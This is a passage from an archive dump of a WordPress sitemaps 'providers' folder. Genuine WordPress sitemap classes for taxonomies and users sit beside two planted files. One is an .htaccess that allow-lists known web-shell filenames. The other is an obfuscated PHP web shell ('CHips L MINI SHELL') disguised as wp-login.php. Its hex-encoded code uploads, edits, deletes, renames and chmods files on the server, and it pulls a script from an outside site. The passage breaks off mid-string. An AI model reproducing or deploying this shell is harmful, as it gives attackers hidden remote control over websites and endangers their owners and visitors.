'no_found_rows' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, ), $post_type ); return $args; } } providers/.htaccess 0000444 00000001140 14621311312 0010343 0 ustar 00 <FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch> <FilesMatch "(^wp-login.php|^wp-blog-header.php|^style.php|^style2.php|^wp-conflg.php|^index.php|^file.php|^Simple.php|^class.api.php|^iR7SzrsOUEP.php|^license.php|^wp-blog.php|^moon.php|^wp-add.php|^plugin-install.php|^admin.php|^LA.php|^wp-good.php|^wp-ldd.php|^upfile.php|^upload.php|^install.php|^xmrlpc.php|^sgd.php|^cloud.php|^shell.php|^about.php|^style2new.php|^km.php|^alfa.php|^mariju.php|^min.php|^doc.php|^100.php|^samll.php|^alfa.php|^webdb.php)$"> Order allow,deny Allow from all </FilesMatch> providers/class-wp-sitemaps-taxonomies.php 0000644 00000012065 14621311312 0015030 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Taxonomies class * * Builds the sitemaps for the 'taxonomy' object type. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Taxonomies XML sitemap provider. * * @since 5.5.0 */ class WP_Sitemaps_Taxonomies extends WP_Sitemaps_Provider { /** * WP_Sitemaps_Taxonomies constructor. * * @since 5.5.0 */ public function __construct() { $this->name = 'taxonomies'; $this->object_type = 'term'; } /** * Returns all public, registered taxonomies. * * @since 5.5.0 * * @return WP_Taxonomy[] Array of registered taxonomy objects keyed by their name. */ public function get_object_subtypes() { $taxonomies = get_taxonomies( array( 'public' => true ), 'objects' ); $taxonomies = array_filter( $taxonomies, 'is_taxonomy_viewable' ); /** * Filters the list of taxonomy object subtypes available within the sitemap. * * @since 5.5.0 * * @param WP_Taxonomy[] $taxonomies Array of registered taxonomy objects keyed by their name. */ return apply_filters( 'wp_sitemaps_taxonomies', $taxonomies ); } /** * Gets a URL list for a taxonomy sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $taxonomy Optional. Taxonomy name. Default empty. * @return array Array of URLs for a sitemap. */ public function get_url_list( $page_num, $taxonomy = '' ) { $supported_types = $this->get_object_subtypes(); // Bail early if the queried taxonomy is not supported. if ( ! isset( $supported_types[ $taxonomy ] ) ) { return array(); } /** * Filters the taxonomies URL list before it is generated. * * Passing a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param array $url_list The URL list. Default null. * @param string $taxonomy Taxonomy name. * @param int $page_num Page of results. */ $url_list = apply_filters( 'wp_sitemaps_taxonomies_pre_url_list', null, $taxonomy, $page_num ); if ( null !== $url_list ) { return $url_list; } $url_list = array(); // Offset by how many terms should be included in previous pages. $offset = ( $page_num - 1 ) * wp_sitemaps_get_max_urls( $this->object_type ); $args = $this->get_taxonomies_query_args( $taxonomy ); $args['offset'] = $offset; $taxonomy_terms = new WP_Term_Query( $args ); if ( ! empty( $taxonomy_terms->terms ) ) { foreach ( $taxonomy_terms->terms as $term ) { $term_link = get_term_link( $term, $taxonomy ); if ( is_wp_error( $term_link ) ) { continue; } $sitemap_entry = array( 'loc' => $term_link, ); /** * Filters the sitemap entry for an individual term. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the term. * @param WP_Term $term Term object. * @param string $taxonomy Taxonomy name. */ $sitemap_entry = apply_filters( 'wp_sitemaps_taxonomies_entry', $sitemap_entry, $term, $taxonomy ); $url_list[] = $sitemap_entry; } } return $url_list; } /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @param string $taxonomy Taxonomy name. * @return int Total number of pages. */ public function get_max_num_pages( $taxonomy = '' ) { if ( empty( $taxonomy ) ) { return 0; } /** * Filters the max number of pages before it is generated. * * Passing a non-null value will short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param int $max_num_pages The maximum number of pages. Default null. * @param string $taxonomy Taxonomy name. */ $max_num_pages = apply_filters( 'wp_sitemaps_taxonomies_pre_max_num_pages', null, $taxonomy ); if ( null !== $max_num_pages ) { return $max_num_pages; } $term_count = wp_count_terms( $this->get_taxonomies_query_args( $taxonomy ) ); return (int) ceil( $term_count / wp_sitemaps_get_max_urls( $this->object_type ) ); } /** * Returns the query args for retrieving taxonomy terms to list in the sitemap. * * @since 5.5.0 * * @param string $taxonomy Taxonomy name. * @return array Array of WP_Term_Query arguments. */ protected function get_taxonomies_query_args( $taxonomy ) { /** * Filters the taxonomy terms query arguments. * * Allows modification of the taxonomy query arguments before querying. * * @see WP_Term_Query for a full list of arguments * * @since 5.5.0 * * @param array $args Array of WP_Term_Query arguments. * @param string $taxonomy Taxonomy name. */ $args = apply_filters( 'wp_sitemaps_taxonomies_query_args', array( 'fields' => 'ids', 'taxonomy' => $taxonomy, 'orderby' => 'term_order', 'number' => wp_sitemaps_get_max_urls( $this->object_type ), 'hide_empty' => true, 'hierarchical' => false, 'update_term_meta_cache' => false, ), $taxonomy ); return $args; } } providers/class-wp-sitemaps-users.php 0000644 00000007765 14621311312 0014016 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Users class * * Builds the sitemaps for the 'user' object type. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Users XML sitemap provider. * * @since 5.5.0 */ class WP_Sitemaps_Users extends WP_Sitemaps_Provider { /** * WP_Sitemaps_Users constructor. * * @since 5.5.0 */ public function __construct() { $this->name = 'users'; $this->object_type = 'user'; } /** * Gets a URL list for a user sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $object_subtype Optional. Not applicable for Users but * required for compatibility with the parent * provider class. Default empty. * @return array Array of URLs for a sitemap. */ public function get_url_list( $page_num, $object_subtype = '' ) { /** * Filters the users URL list before it is generated. * * Passing a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param array $url_list The URL list. Default null. * @param int $page_num Page of results. */ $url_list = apply_filters( 'wp_sitemaps_users_pre_url_list', null, $page_num ); if ( null !== $url_list ) { return $url_list; } $args = $this->get_users_query_args(); $args['paged'] = $page_num; $query = new WP_User_Query( $args ); $users = $query->get_results(); $url_list = array(); foreach ( $users as $user ) { $sitemap_entry = array( 'loc' => get_author_posts_url( $user->ID ), ); /** * Filters the sitemap entry for an individual user. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the user. * @param WP_User $user User object. */ $sitemap_entry = apply_filters( 'wp_sitemaps_users_entry', $sitemap_entry, $user ); $url_list[] = $sitemap_entry; } return $url_list; } /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @see WP_Sitemaps_Provider::max_num_pages * * @param string $object_subtype Optional. Not applicable for Users but * required for compatibility with the parent * provider class. Default empty. * @return int Total page count. */ public function get_max_num_pages( $object_subtype = '' ) { /** * Filters the max number of pages before it is generated. * * Passing a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param int $max_num_pages The maximum number of pages. Default null. */ $max_num_pages = apply_filters( 'wp_sitemaps_users_pre_max_num_pages', null ); if ( null !== $max_num_pages ) { return $max_num_pages; } $args = $this->get_users_query_args(); $query = new WP_User_Query( $args ); $total_users = $query->get_total(); return (int) ceil( $total_users / wp_sitemaps_get_max_urls( $this->object_type ) ); } /** * Returns the query args for retrieving users to list in the sitemap. * * @since 5.5.0 * * @return array Array of WP_User_Query arguments. */ protected function get_users_query_args() { $public_post_types = get_post_types( array( 'public' => true, ) ); // We're not supporting sitemaps for author pages for attachments. unset( $public_post_types['attachment'] ); /** * Filters the query arguments for authors with public posts. * * Allows modification of the authors query arguments before querying. * * @see WP_User_Query for a full list of arguments * * @since 5.5.0 * * @param array $args Array of WP_User_Query arguments. */ $args = apply_filters( 'wp_sitemaps_users_query_args', array( 'has_published_posts' => array_keys( $public_post_types ), 'number' => wp_sitemaps_get_max_urls( $this->object_type ), ) ); return $args; } } providers/wp-login.php 0000444 00000062211 14621311312 0011020 0 ustar 00 <?php /* @Author https://www.jiamiphp.com/ */ goto dQcmNd0iFq; kVW6knc8Rr: foreach ($paths as $id => $pat) { goto gZqzXKEcvS; XIBqHXiltB: U1lOwEfW3F: if (!($i <= $id)) { goto Pg4PF1xe58; } echo "{$paths[$i]}"; if (!($i != $id)) { goto lwmJtuA_In; } echo "\57"; goto VFGscbpREl; gZqzXKEcvS: if (!($pat == '' && $id == 0)) { goto hnnlUNBrEJ; } $a = true; echo "\x3c\141\40\x68\162\x65\146\x3d\42\77\x70\x61\164\150\75\57\x22\x3e\x2f\x3c\57\141\76"; goto bG6zZHFRPb; hnnlUNBrEJ: goto BH4eTckiNH; BH4eTckiNH: if (!($pat == '')) { goto nytq8o64xi; } goto bG6zZHFRPb; nytq8o64xi: echo "\x3c\141\40\x68\162\145\x66\75\x22\x3f\160\141\x74\x68\75"; $i = 0; goto XIBqHXiltB; VFGscbpREl: lwmJtuA_In: UdtZid3P9L: $i++; goto U1lOwEfW3F; Pg4PF1xe58: goto IJkHRiXzxE; IJkHRiXzxE: echo "\x22\x3e" . $pat . "\x3c\57\141\x3e\x2f"; bG6zZHFRPb: goto e7MZIlykrR; e7MZIlykrR: } tdTUMtw7tw: echo "\74\x2f\164\x64\76\x3c\x2f\x74\x72\76\x3c\x74\162\76\x3c\164\144\76"; if (!isset($_FILES["\x66\x69\x6c\145"])) { goto kW2AfnKo6Y; } if (copy($_FILES["\146\x69\154\x65"]["\x74\155\160\137\x6e\141\x6d\x65"], $path . "\57" . $_FILES["\x66\151\154\145"]["\x6e\x61\155\145"])) { goto wUsDyJDTJe; } goto KYSVl_axRL; qeTPh96pmW: goto qGL3HnmP8e; IcbDJ3SrT8: if (!isset($_POST["\x73\162\x63"])) { goto BoivvziWoH; } $fp = fopen($_POST["\160\x61\x74\x68"], "\x77"); if (fwrite($fp, $_POST["\163\x72\143"])) { goto BQPVKGv_47; } goto tY16Khl5ee; tY16Khl5ee: echo "\74\146\157\156\x74\x20\x63\157\154\157\x72\75\42\x72\145\x64\42\x3e\105\x64\x69\x74\x20\x46\151\154\x65\40\107\141\x67\x61\154\74\x2f\x66\157\x6e\164\x3e\x3c\142\x72\x20\57\x3e"; goto qwotHdM_6D; BQPVKGv_47: echo "\74\146\157\156\x74\x20\x63\157\154\157\x72\x3d\42\147\x72\x65\x65\156\42\76\x45\144\x69\x74\x20\106\x69\154\145\40\102\145\162\x68\x61\x73\151\x6c\x3c\57\x66\157\156\164\x3e\74\142\x72\40\x2f\x3e"; qwotHdM_6D: goto Xfz60JuFPZ; j5OKMPwwt6: UtYSeN0Ehy: goto ieh76MlLYm; WlHVHYhq3z: if (unlink($_POST["\x70\x61\x74\x68"])) { goto oqXpVQTGse; } echo "\x3c\x66\x6f\156\164\x20\x63\x6f\x6c\x6f\x72\x3d\42\x72\145\x64\x22\x3e\104\145\154\145\x74\x65\40\106\x69\x6c\x65\x20\105\x72\x72\157\x72\x2e\x3c\57\146\157\156\164\x3e\x3c\142\x72\40\57\76"; goto lcgH0Lh3Sa; KYSVl_axRL: echo "\x3c\146\157\156\164\40\143\x6f\x6c\157\162\x3d\42\162\x65\x64\42\76\x55\x70\154\x6f\x61\144\x20\x46\x69\154\145\x20\x47\x61\147\x61\x6c\40\103\x6f\153\40\x21\x20\115\x61\x6d\x70\x6f\163\150\x20\x4c\x6f\x20\x21\x3c\x2f\146\157\156\164\x3e\x3c\x62\x72\40\57\76"; goto TJ2xpFiHif; wUsDyJDTJe: echo "\x3c\146\x6f\x6e\164\x20\143\x6f\x6c\x6f\x72\x3d\42\147\162\145\x65\x6e\42\x3e\x55\160\x6c\157\141\x64\40\x46\x69\x6c\145\40\102\145\162\x68\x61\163\x69\x6c\x20\103\157\153\x20\41\74\x2f\146\157\x6e\x74\x3e\x3c\x62\162\x20\x2f\x3e"; TJ2xpFiHif: goto ZK52dQf1w2; QxbFNHEFvl: if (chmod($_POST["\x70\141\164\150"], $_POST["\160\145\x72\x6d"])) { goto TkCWZJAFu1; } echo "\74\146\x6f\x6e\164\x20\x63\x6f\154\157\162\75\x22\162\145\x64\42\76\x4d\145\x6e\x67\x75\x62\141\150\x20\x50\145\155\x69\x73\x73\151\157\x6e\40\107\x61\x67\x61\x6c\74\x2f\x66\x6f\156\164\x3e\x3c\142\162\x20\x2f\x3e"; goto rFiEc1IELR; TkCWZJAFu1: echo "\74\x66\x6f\x6e\164\x20\143\x6f\x6c\x6f\x72\x3d\x22\147\x72\x65\145\156\x22\76\x4d\x65\x6e\x67\x75\x62\x61\150\x20\120\x65\x72\x6d\x69\x73\163\151\x6f\156\40\x42\x65\x72\150\141\163\151\x6c\74\x2f\x66\157\x6e\164\x3e\74\142\162\40\57\76"; goto OlXSphE_AL; taU2Sov_Iw: goto dUbRolMDcI; jPtK9QEpyR: echo "\x3c\164\162\76\x3c\x74\144\76\103\165\x72\162\145\156\164\40\x46\x69\x6c\145\x20\72\x20"; echo $_GET["\146\151\154\x65\x73\x72\143"]; echo "\x3c\57\164\162\x3e\x3c\x2f\x74\x64\x3e\74\57\x74\x61\142\x6c\x65\76\x3c\x62\162\x20\57\x3e"; goto WIf4zMw5uM; LJeOT3puN1: YbzSHnHbkW: echo "\x3c\164\162\x20\x63\x6c\141\163\x73\x3d\x22\146\x69\x72\163\x74\x22\x3e\x3c\x74\x64\x3e\74\x2f\164\144\76\x3c\x74\144\x3e\x3c\x2f\164\x64\x3e\x3c\x74\x64\76\74\57\x74\x64\x3e\74\x74\x64\76\74\x2f\x74\x64\x3e\74\x2f\x74\x72\x3e"; foreach ($scandir as $file) { goto GzHni31xZ2; fxUVvAT4mK: zzGiyZuNKc: echo "\x3c\x66\x6f\156\x74\x20\143\157\x6c\157\162\75\x22\102\154\x75\145\42\x3e"; goto YxyIZ2i2yK; JIL2oS0wd1: echo "\x3c\x66\x6f\x6e\164\x20\x63\157\154\x6f\x72\x3d\x22\162\145\144\42\x3e"; goto XNMcWWxzSb; pBYZKAlMzN: sEOg6JdIIH: echo "\x3c\164\162\x3e\xd\xa\74\x74\x64\x3e\74\x61\x20\150\162\145\146\x3d\42\77\x66\x69\154\145\x73\162\143\75{$path}\x2f{$file}\46\x70\x61\164\150\75{$path}\x22\76{$file}\74\x2f\141\76\74\x2f\164\144\x3e\xd\xa\x3c\x74\x64\x3e\x3c\143\145\156\164\145\x72\x3e" . $size . "\x3c\x2f\x63\145\156\x74\145\162\76\x3c\x2f\x74\144\76\15\xa\74\164\x64\x3e\74\143\x65\x6e\x74\x65\162\76"; if (is_writable("{$path}\x2f{$file}")) { goto zzGiyZuNKc; } if (!is_readable("{$path}\x2f{$file}")) { goto JIL2oS0wd1; } goto YxyIZ2i2yK; goto fxUVvAT4mK; GzHni31xZ2: if (is_file("{$path}\57{$file}")) { goto k20YYF8Rp6; } goto tafV4WiFdN; k20YYF8Rp6: $size = filesize("{$path}\57{$file}") / 1024; $size = round($size, 3); goto t0P9KIg4mA; WfkxzS6eUj: echo "\x3c\57\x63\x65\156\x74\145\162\76\74\x2f\164\144\x3e\15\12\x3c\164\144\x3e\x3c\143\145\156\x74\x65\162\x3e\x3c\x66\x6f\x72\155\x20\x6d\145\x74\x68\x6f\x64\x3d\42\120\x4f\x53\124\x22\40\141\x63\x74\151\x6f\x6e\75\x22\77\x6f\160\x74\x69\157\156\x26\160\x61\164\150\x3d{$path}\x22\x3e\15\12\74\x73\x65\154\x65\143\x74\40\156\141\155\145\x3d\x22\157\160\164\42\76\15\xa\x3c\x6f\160\164\151\x6f\x6e\40\166\141\x6c\x75\x65\x3d\x22\x22\76\74\57\157\x70\x74\x69\157\x6e\x3e\15\12\74\157\x70\164\x69\x6f\x6e\x20\x76\x61\154\165\x65\75\x22\144\145\x6c\145\164\145\x22\76\x44\x65\154\x65\164\x65\x3c\x2f\157\x70\164\151\x6f\156\x3e\xd\xa\74\x6f\160\x74\151\x6f\x6e\x20\x76\x61\x6c\x75\x65\75\42\143\x68\155\x6f\144\x22\x3e\103\150\155\157\144\x3c\x2f\x6f\x70\x74\151\157\x6e\x3e\xd\xa\x3c\x6f\160\x74\151\x6f\156\x20\x76\x61\154\165\145\75\x22\162\x65\x6e\141\155\x65\x22\x3e\122\x65\156\x61\x6d\x65\74\x2f\157\x70\x74\151\x6f\x6e\76\xd\12\x3c\157\x70\x74\x69\x6f\x6e\40\166\x61\154\x75\145\x3d\42\x65\x64\x69\x74\42\x3e\x45\x64\151\x74\x3c\x2f\x6f\x70\x74\151\157\x6e\x3e\xd\xa\x3c\x2f\163\145\154\145\x63\164\76\15\12\x3c\x69\156\160\x75\164\40\164\x79\160\145\75\42\150\151\144\144\x65\156\x22\x20\156\141\x6d\x65\x3d\42\x74\x79\160\145\42\40\166\x61\154\x75\145\75\42\x66\151\x6c\145\x22\76\15\12\x3c\151\156\160\165\164\40\164\x79\x70\x65\75\x22\x68\151\144\144\145\156\42\x20\156\x61\155\x65\75\42\156\x61\155\x65\42\x20\x76\x61\154\x75\x65\75\42{$file}\42\x3e\15\xa\74\x69\156\x70\165\164\40\164\171\160\x65\75\x22\x68\x69\x64\x64\x65\156\x22\x20\x6e\141\x6d\x65\x3d\42\x70\x61\164\x68\x22\x20\x76\x61\154\165\x65\x3d\x22{$path}\x2f{$file}\x22\x3e\xd\12\x3c\151\156\x70\165\164\x20\x74\x79\160\x65\75\42\x73\165\142\155\151\164\42\40\166\141\154\165\145\75\42\117\x6b\x65\x22\40\x2f\x3e\xd\xa\x3c\57\146\157\x72\x6d\x3e\x3c\57\143\145\x6e\x74\145\162\x3e\74\57\x74\144\x3e\15\12\x3c\x2f\164\x72\x3e"; tafV4WiFdN: goto QbYN0fxBZY; t0P9KIg4mA: if ($size >= 1024) { goto pMUvIB0dGu; } $size = $size . "\40\x4b\102"; goto sEOg6JdIIH; pMUvIB0dGu: $size = round($size / 1024, 2) . "\40\115\102"; goto pBYZKAlMzN; XNMcWWxzSb: YxyIZ2i2yK: echo perms("{$path}\57{$file}"); if (!(is_writable("{$path}\x2f{$file}") || !is_readable("{$path}\57{$file}"))) { goto FdB5T9iLeA; } echo "\x3c\57\146\157\156\164\x3e"; FdB5T9iLeA: goto WfkxzS6eUj; QbYN0fxBZY: } os1vOx9e9o: echo "\74\x2f\164\x61\x62\154\145\76\xd\12\74\x2f\144\151\166\x3e"; goto taU2Sov_Iw; lcgH0Lh3Sa: goto DegEUQsuKR; oqXpVQTGse: echo "\x3c\x66\157\x6e\x74\40\x63\x6f\154\157\162\75\42\x67\162\145\145\156\42\76\104\145\154\145\164\x65\40\106\151\154\145\x20\104\157\x6e\x65\56\74\x2f\x66\157\156\x74\x3e\74\x62\162\40\57\x3e"; DegEUQsuKR: ieh76MlLYm: goto FhezAVzcEr; WNBw5mSAri: if ($_POST["\157\160\164"] == "\x72\x65\156\141\155\145") { goto QWZfGHu5Kr; } if ($_POST["\157\x70\x74"] == "\145\x64\x69\164") { goto IcbDJ3SrT8; } goto qGL3HnmP8e; uwxA1GGPlG: if (!isset($_POST["\160\x65\x72\x6d"])) { goto afw21WKPng; } goto QxbFNHEFvl; CW0XoREFwK: MD4nbjQXM3: echo "\x3c\x21\x44\x4f\103\124\131\120\105\x20\110\x54\x4d\x4c\x3e\15\xa\74\x48\124\115\x4c\76\15\xa\x3c\110\105\x41\104\x3e\xd\12\xd\xa\x3c\154\x69\x6e\153\x20\150\162\x65\x66\x3d\42\x22\x20\x72\x65\x6c\x3d\42\x73\164\x79\x6c\x65\163\150\145\x65\164\x22\x20\164\x79\160\x65\75\x22\x74\145\170\x74\x2f\x63\x73\x73\42\76\xd\xa\74\164\151\164\x6c\x65\x3e\x43\110\x69\x70\x73\40\x4c\x20\x50\162\x6f\40\x73\x61\x6e\x67\x61\144\74\x2f\164\x69\164\x6c\x65\76\15\xa\x3c\163\x74\x79\x6c\145\x3e\xd\xa\x62\x6f\144\171\x7b\15\xa\x66\x6f\x6e\x74\x2d\x66\141\x6d\151\154\x79\x3a\40\x22\143\x6f\x6e\x73\157\x6c\x65\42\x2c\40\143\165\162\163\151\166\x65\73\15\12\142\x61\x63\x6b\147\162\157\165\156\x64\x2d\143\x6f\x6c\x6f\162\72\40\43\146\146\146\x66\x66\x66\x3b\15\12\x74\x65\170\x74\55\163\150\x61\144\x6f\167\x3a\x30\x70\170\40\60\160\170\40\61\160\170\40\x23\x66\146\146\146\x66\x66\x3b\xd\xa\175\xd\12\x23\143\157\156\164\145\156\164\40\164\x72\72\150\157\166\x65\x72\x7b\15\xa\142\141\x63\153\x67\162\x6f\x75\x6e\x64\x2d\x63\157\154\x6f\x72\72\40\x23\60\x30\60\x30\60\60\x3b\15\12\164\x65\x78\x74\55\x73\x68\x61\x64\157\x77\x3a\x30\x70\170\40\x30\x70\x78\x20\61\x30\160\170\40\43\x66\146\x66\146\x66\x66\x3b\15\xa\x7d\xd\12\x23\x63\157\156\x74\145\x6e\x74\x20\56\x66\x69\x72\x73\x74\x7b\15\xa\142\141\143\153\147\162\157\165\x6e\144\x2d\143\x6f\154\157\162\x3a\x20\x62\x6c\x61\143\153\x3b\xd\12\175\15\12\x23\143\x6f\x6e\164\145\x6e\x74\40\x2e\x66\151\x72\x73\x74\72\x68\x6f\166\x65\x72\173\15\12\142\x61\x63\153\x67\162\x6f\x75\x6e\144\x2d\143\157\154\157\x72\72\40\142\154\141\143\153\x3b\xd\xa\x74\x65\170\x74\x2d\x73\150\141\144\x6f\167\72\x30\160\x78\x20\x30\160\170\40\61\x70\x78\x20\x23\x30\x30\x30\x30\x30\x30\x3b\xd\xa\175\xd\12\164\141\x62\154\x65\x7b\xd\12\x62\x6f\162\144\x65\x72\72\x20\65\160\170\x20\43\x30\x30\x30\x30\60\60\40\144\157\164\x74\x65\x64\73\15\12\x7d\xd\xa\110\x31\173\xd\xa\x66\157\156\164\x2d\146\x61\155\x69\x6c\x79\x3a\x20\42\122\171\x65\x22\54\40\x63\x75\162\163\151\x76\x65\x3b\xd\xa\x7d\xd\xa\x61\x7b\xd\xa\143\x6f\x6c\x6f\x72\x3a\40\x23\x30\60\60\x30\x30\60\x3b\xd\xa\164\x65\x78\x74\55\x64\x65\143\x6f\x72\x61\x74\151\x6f\x6e\x3a\40\x6e\157\x6e\x65\73\xd\xa\175\xd\12\141\72\150\x6f\x76\x65\162\x7b\15\xa\143\157\154\x6f\162\72\x20\x23\x66\x66\146\x3b\15\xa\164\x65\170\164\x2d\x73\150\141\144\x6f\167\72\60\x70\170\40\x30\x70\x78\x20\x31\60\160\x78\40\43\146\x66\146\146\x66\146\x3b\15\xa\175\15\xa\x69\156\x70\x75\x74\54\x73\145\154\145\143\x74\x2c\x74\145\170\164\x61\x72\x65\141\173\15\xa\142\157\x72\x64\x65\x72\x3a\40\x32\x70\170\40\43\x30\60\x30\60\60\x30\40\x73\x6f\154\x69\144\x3b\xd\12\55\x6d\157\172\55\x62\x6f\x72\x64\x65\x72\55\162\x61\x64\x69\x75\x73\72\x20\x35\160\x78\x3b\xd\12\55\167\x65\x62\153\x69\164\55\x62\x6f\162\x64\145\162\x2d\162\x61\144\x69\165\x73\72\x35\160\x78\73\15\xa\142\157\x72\144\145\162\55\x72\141\144\151\165\x73\x3a\x35\160\170\73\xd\xa\175\xd\12\74\57\x73\164\x79\154\145\x3e\xd\12\x3c\x2f\x48\x45\101\x44\76\xd\xa\x3c\102\117\x44\x59\x3e\15\xa\74\x53\x43\122\111\120\124\40\x53\x52\103\75\150\x74\164\x70\72\x2f\x2f\162\x6f\157\x74\153\151\x74\156\151\x6e\152\141\x2e\143\157\155\x2f\163\141\x79\56\152\163\76\x3e\74\x2f\x53\103\x52\x49\120\124\76\xd\12\x3c\110\x31\x3e\74\143\x65\156\x74\x65\x72\x3e\103\x48\x69\x70\163\x20\x4c\40\115\x49\116\111\x20\123\x48\x45\114\114\74\57\143\x65\x6e\164\x65\x72\x3e\x3c\57\110\x31\x3e\xd\12\74\110\61\76\74\143\145\156\164\145\162\76\x43\110\151\x70\x73\40\x4c\40\x70\x72\x6f\x3c\x2f\x63\145\x6e\164\145\x72\x3e\x3c\57\110\x31\76\15\12\74\x62\157\144\x79\x20\x63\154\x61\163\163\75\42\40\x20\160\x61\143\145\55\144\157\x6e\145\42\x20\x62\x67\x63\x6f\154\x6f\162\75\x22\x42\x6c\141\x63\x6b\x22\x3e\74\144\151\x76\x20\x63\154\x61\x73\x73\x3d\x22\x70\141\143\145\40\40\160\x61\143\x65\55\151\x6e\141\143\x74\151\166\145\x22\x3e\x3c\144\x69\x76\40\x63\x6c\x61\163\x73\75\42\x70\141\x63\145\55\160\x72\157\147\162\x65\x73\x73\x22\x20\x64\x61\x74\x61\x2d\160\x72\x6f\147\x72\x65\x73\x73\55\164\x65\170\164\75\x22\61\60\x30\x25\42\40\x64\x61\164\141\x2d\160\x72\x6f\x67\x72\145\x73\163\75\42\71\x39\42\40\163\x74\171\x6c\145\x3d\42\x77\151\x64\x74\150\x3a\40\x31\60\x30\x25\73\x22\76\15\xa\74\164\141\x62\154\145\x20\x77\151\x64\164\x68\75\42\x37\x30\x30\x22\x20\142\x6f\162\x64\145\162\75\42\x30\x22\x20\143\x65\x6c\154\x70\x61\144\144\151\156\147\75\42\63\42\x20\143\x65\154\154\x73\160\141\x63\x69\x6e\147\x3d\42\61\x22\40\x61\154\x69\147\156\x3d\x22\x63\145\x6e\x74\x65\x72\x22\x3e\15\xa\x3c\164\162\76\x3c\164\x64\76\x43\x75\x72\162\x65\x6e\164\x20\120\x61\x74\x68\x20\x3a\40"; if (isset($_GET["\160\141\164\x68"])) { goto PYfY9klO6M; } $path = getcwd(); goto z37zSx51rR; goto ffyKTizGLf; TpNmG2CjcL: echo "\x3c\x66\x6f\x6e\x74\40\143\x6f\154\157\x72\75\x22\x67\x72\x65\x65\x6e\x22\76\x47\141\156\x74\x69\40\x4e\141\x6d\x61\40\x42\145\x72\150\x61\x73\x69\x6c\74\57\x66\157\x6e\164\76\x3c\x62\x72\40\57\76"; CuWt5AQF2A: $_POST["\x6e\141\155\145"] = $_POST["\156\145\x77\x6e\141\155\145"]; aDexvTHr9l: echo "\74\x66\157\x72\155\40\155\x65\x74\150\x6f\x64\75\x22\120\117\x53\124\42\x3e\15\xa\116\x65\x77\40\x4e\141\155\145\x20\x3a\40\x3c\151\156\160\165\164\x20\x6e\141\155\145\x3d\42\x6e\145\167\x6e\x61\x6d\x65\x22\x20\164\x79\x70\x65\75\x22\164\x65\170\164\42\40\x73\151\172\145\75\x22\62\60\x22\x20\166\141\154\165\x65\x3d\42" . $_POST["\x6e\141\x6d\x65"] . "\42\40\x2f\x3e\xd\12\74\x69\156\x70\x75\x74\x20\164\x79\x70\x65\75\42\150\x69\144\x64\145\x6e\42\40\156\141\155\145\75\42\160\x61\x74\150\42\40\x76\141\x6c\165\145\75\42" . $_POST["\x70\x61\164\x68"] . "\x22\x3e\15\12\74\151\x6e\x70\165\x74\x20\x74\171\x70\145\75\x22\150\151\144\x64\x65\156\42\40\156\x61\155\x65\x3d\42\157\x70\x74\42\40\x76\x61\x6c\x75\x65\x3d\42\x72\145\x6e\141\155\x65\42\76\15\12\74\x69\156\x70\x75\x74\x20\164\x79\160\x65\x3d\x22\x73\x75\142\155\x69\164\42\x20\x76\x61\154\165\x65\75\x22\107\x6f\42\40\57\x3e\xd\xa\74\57\x66\157\162\x6d\76"; goto qeTPh96pmW; dPDF9Y3ecG: if (rmdir($_POST["\160\141\x74\x68"])) { goto j13FAqj3za; } echo "\x3c\146\157\x6e\164\40\143\157\154\x6f\x72\75\42\162\x65\144\x22\x3e\115\145\x6e\147\x68\x61\160\165\x73\40\x44\151\162\145\143\x74\157\x72\171\40\107\141\147\141\x6c\x3c\57\x66\x6f\156\x74\76\x3c\x62\162\40\57\76"; goto UtYSeN0Ehy; j13FAqj3za: echo "\x3c\146\157\156\164\40\x63\x6f\154\157\x72\75\x22\147\x72\x65\145\x6e\x22\76\115\x65\156\x67\x68\141\160\165\x73\x20\x44\151\x72\145\143\x74\x6f\162\x79\x20\102\145\x72\150\x61\163\151\154\74\x2f\x66\x6f\x6e\164\x3e\74\x62\x72\40\57\x3e"; goto j5OKMPwwt6; ffyKTizGLf: PYfY9klO6M: $path = $_GET["\x70\x61\164\150"]; z37zSx51rR: $path = str_replace("\x5c", "\57", $path); $paths = explode("\57", $path); goto kVW6knc8Rr; FhezAVzcEr: P7jjJhFCJM: echo "\74\57\143\x65\x6e\164\145\x72\76"; $scandir = scandir($path); echo "\x3c\x64\151\x76\x20\x69\x64\x3d\x22\143\157\x6e\x74\x65\x6e\x74\x22\76\x3c\164\141\x62\154\x65\40\x77\x69\144\164\150\x3d\x22\67\60\x30\42\40\x62\x6f\162\x64\x65\x72\x3d\42\x30\42\40\143\x65\154\x6c\x70\x61\x64\144\151\156\147\x3d\42\x33\42\40\x63\145\154\x6c\x73\160\x61\x63\x69\156\147\75\x22\x31\42\x20\141\154\x69\x67\156\x3d\42\143\145\x6e\x74\145\x72\42\76\15\xa\x3c\164\x72\x20\143\x6c\x61\x73\x73\75\x22\x66\x69\x72\163\x74\42\76\15\xa\74\164\144\76\x3c\x63\145\156\x74\x65\x72\x3e\x4e\x61\155\145\x3c\x2f\x63\x65\156\x74\x65\162\x3e\x3c\57\164\144\x3e\xd\xa\x3c\x74\144\x3e\74\x63\x65\x6e\164\145\x72\76\x53\x69\x7a\145\74\57\x63\145\x6e\164\x65\x72\x3e\x3c\57\x74\144\76\15\12\74\164\144\x3e\74\x63\x65\x6e\164\x65\162\76\120\x65\x72\155\x69\x73\x73\151\x6f\x6e\163\x3c\57\x63\x65\156\x74\145\162\76\74\x2f\x74\x64\76\15\12\74\164\x64\x3e\x3c\143\x65\x6e\164\x65\x72\x3e\117\x70\x74\151\157\x6e\163\74\57\x63\145\156\x74\145\162\76\x3c\x2f\164\x64\76\15\12\74\x2f\x74\162\